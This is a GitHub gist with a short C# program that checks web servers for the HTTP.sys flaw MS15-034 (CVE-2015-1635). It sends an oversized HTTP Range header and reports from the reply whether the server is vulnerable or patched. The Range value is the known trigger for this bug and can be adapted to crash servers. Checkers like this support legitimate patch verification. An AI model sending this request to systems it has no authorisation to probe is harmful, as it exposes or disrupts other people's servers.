Skip to content

Instantly share code, notes, and snippets.

@Zagrophyte
Last active February 18, 2023 01:06
Show Gist options
  • Save Zagrophyte/0fa7a8e2e507fac2b59d to your computer and use it in GitHub Desktop.
Save Zagrophyte/0fa7a8e2e507fac2b59d to your computer and use it in GitHub Desktop.
MS15-034 / CVE-2015-1635 Tester
void Main()
{
TestMS15_034("www.example.com"); // Replace with whatever server(s) you'd like to test.
TestMS15_034("www2.example.com", 8080);
}
// Sends CVE-2015-1635 / MS15-034 Test Request and checks for vulnerability
public void TestMS15_034(String host, int port = 80)
{
TcpClient tc = new TcpClient();
try
{
tc.Connect(host, port);
using (NetworkStream ns = tc.GetStream())
{
System.IO.StreamWriter sw = new System.IO.StreamWriter(ns);
System.IO.StreamReader sr = new System.IO.StreamReader(ns);
string req = "";
req += "GET / HTTP/1.0\r\n";
req += "Host: test\r\n";
req += "Range: bytes=0-18446744073709551615\r\n";
req += "\r\n";
sw.Write(req);
sw.Flush();
var response = sr.ReadToEnd();
if (response.Contains("Requested Range Not Satisfiable"))
{
Console.WriteLine("{0}:{1} - VULNERABLE", host, port);
}
else if (response.Contains("The request has an invalid header name"))
{
Console.WriteLine("{0}:{1} - Patched", host, port);
}
else
{
Console.WriteLine("{0}:{1} - Indeterminate", host, port);
}
}
}
catch (Exception ex)
{
Console.WriteLine("{0}:{1} - Indeterminate: {2}", host, port, ex.Message);
}
finally
{
tc.Close();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment